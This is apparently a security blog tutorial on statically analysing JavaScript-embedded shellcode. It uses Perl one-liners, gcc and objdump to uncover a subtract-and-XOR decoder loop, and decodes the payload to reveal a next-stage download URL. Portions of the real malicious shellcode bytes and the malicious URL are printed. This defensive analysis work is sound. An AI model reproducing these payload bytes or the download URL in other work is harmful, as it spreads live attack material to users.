Static analysis of Shellcode - Part 2
Starting again with a pile of Shellcode, one that the bad guys were even friendly enough to label as such in JavaScript:
Using the same method as before, we take a look at what's inside:
$ cat bad.js | perl -pe 's/\%u(..)(..)/chr(hex($2)).chr(hex($1))/ge' | hexdump -C | more
00000000 20 20 20 20 76 61 72 20 53 68 65 6c 6c 63 6f 64 | var Shellcod|
00000010 65 3d 75 6e 65 73 63 61 70 65 28 22 90 90 90 90 |e=unescape("....|
00000020 90 33 c0 33 c9 eb 12 5e 66 b9 00 01 8b fe 80 2e |.3À3Éë.^f¹...þ..|
00000030 07 80 36 04 46 e2 f7 eb 05 e8 e9 ff ff ff f4 b5 |..6.Fâ÷ë.èéÿÿÿôµ|
00000040 0b 0b 0b 62 67 ac 3b 0b 0b 0b 96 4b 0f 96 7b 1f |...bg¬;....K..{.|
000000c0 3e e6 12 c1 1b 43 fd 77 13 cc d6 10 0e e5 4b f6 |>æ.Á.Cýw.ÌÖ..åKö|
000000d0 fc 46 22 78 ea 61 96 61 27 0e e0 69 96 0f 56 96 |üF"xêa.a'.ài..V.|
000000e0 61 1f 0e e0 96 07 96 0e c8 b6 61 64 ce f3 5c 02 |a..à....ȶadÎó\.|
000000f0 02 02 91 51 11 ef f0 e6 ef 03 a3 01 95 11 81 e3 |...Q.ïðæï.£....ã|
00000100 ed 7e 39 25 32 7b 73 77 77 7b 45 32 32 7a 7a 7a |í~9%2{sww{E22zzz|
00000110 31 84 72 78 7d 70 68 67 7e 68 6c 7d 6e 73 31 74 |1.rx}phg~hl}ns1t|
00000120 71 69 72 32 7b 7e 76 32 72 78 77 31 7b 73 7b 42 |qir2{~v2rxw1{s{B|
00000130 6d 40 70 69 7e 6c 3d 3b 3b 38 30 38 3b 0b 22 29 |m@pi~l=;;808;.")|
00000140 3b 0a |;.|
00000142
Hmm. No URL to be seen. One can GUESS though that there is an URL in there, at the end of the block. URLs have a tell-tale pattern as most start with "http://www", so if we see a character sequence that has "abbcdeefff", with the same characters repeated, this is most often the start of an encoded URL. In our case above, sww{E22zzz meets this pattern.
The most basic obfuscation used is a simple XOR operation. Finding those is easy enough, you can use a tool like XORSearch that we have covered in an earlier diary .
Doesn't work here though. This ain't XOR.
So what's next? Two ways. Either we run the exploit on a vulnerable system and find out what it does (so-called "dynamic analysis"), or we try to take things one step further with what the Unix command line has to offer, and continue with "static analysis". I'm all for command line!
First, we need to turn the shellcode into something that a Unix disassembler can understand. To do so, we take the above code block starting with the 90 90 90 90 sequence, and turn it into a C arrary:
$ cat bad.bin | perl -ne 's/(.)/printf "0x%02x,",ord($1)/ge' > bad.c
leaves us with
0x90,0x90,0x90,0x90,0x90,0x33,0xc0,0x33,0xc9,0xeb,0x12,0x5e,0x66 ....
which is in a nice format to turn it into
int main() {
char foo[] = {
0x90,0x90,0x90,0x90,0x90,0x33,0xc0,0x33,0xc9,0xeb,0x12,0x5e,0x66 ....
};
}
which compiles nicely by using
$ gcc -O0 -fno-inline bad.c -o bad.bin
which in turn can be disassembled by using
$ objdump --disassembler-options=intel -D bad.bin
The result of this operation is Intel assembly code. If you are used to reverse engineering malware in, say, OllyDbg, this will be quite readable for you. If not, then .. well, not :). A stretch down the assembly pile, we find the following code block
4005a0: 90 nop
4005a1: 90 nop
4005a2: 90 nop
4005a3: 90 nop
4005a4: 90 nop
4005a5: 33 c0 xor eax,eax
4005a7: 33 c9 xor ecx,ecx
4005a9: eb 12 jmp 4005bd <C.0.1610+0x1d>
4005ab: 5e pop rsi
4005ac: 66 b9 00 01 mov cx,0x100
4005b0: 8b fe mov edi,esi
4005b2: 80 2e 07 sub BYTE PTR [rsi],0x7
4005b5: 80 36 04 xor BYTE PTR [rsi],0x4
4005b8: 46 e2 f7 rexXY loop 4005b2 <C.0.1610+0x12>
This is the byte sequence that we imported from the shell code. And lookie, it appears as if someone is looping over the block and subtracting 7 from every byte before XORing it with 4. Let's try:
cat bad.bin | perl -pe 's/(.)/chr((ord($1)-7)^4)/ge' | hexdump -C
00000000 c2 8d c2 8d c2 8d c2 8d c2 8d 28 c2 bd 28 c3 86 |Â.Â.Â.Â.Â.(½(Ã.|
00000010 c3 a0 0f 53 5b c2 b6 ff 80 8f bf bf bf bf bf bf |à .S[¶ÿ..¿¿¿¿¿¿|
00000020 bf bf bf bd ff 80 8f bf bf bf bf bf bf bf bf bf |¿¿¿½ÿ..¿¿¿¿¿¿¿¿¿|
000001b0 bf bf bf bf bf bf bf bf bf c2 8e 4e 0e c3 ac c3 |¿¿¿¿¿¿¿¿¿Â.N.ìÃ|
000001c0 ad c3 9b c3 ac ff 80 8f bf bf bf bf bf bf bf bf |Ã.ìÿ..¿¿¿¿¿¿¿¿|
000001d0 bf b8 c2 98 ff 80 8f bf bf bf bf bf bf bf bf bf |¿¸Â.ÿ..¿¿¿¿¿¿¿¿¿|
000001e0 be c2 8a 0e 7e c3 98 c3 a2 73 36 1a 2f 70 68 74 |¾Â..~Ã.âs6./pht|
000001f0 74 70 3a 2f 2f 77 77 77 2e 79 6f 75 72 6d 65 64 |tp://www.yourmed|
00000200 73 65 61 72 63 68 2e 69 6e 66 6f 2f 70 73 6b 2f |search.info/psk/|
00000210 6f 75 74 2e 70 68 70 3f 62 3d 6d 66 73 61 32 30 |out.php?b=mfsa20|
00000220 30 35 2d 35 30 00 0a 0a |05-50...|
And here is the URL of our next stage in all its questionable glory!
Before you start sinking hours after hours into trying to find URLs in Shellcode, here's the caveat: Not all shellcode contains URLs, and it is kinda hard to find something that isn't there. But if there IS an URL in the shell code, the above should help you find it, without actually having to run the evil code.
Comments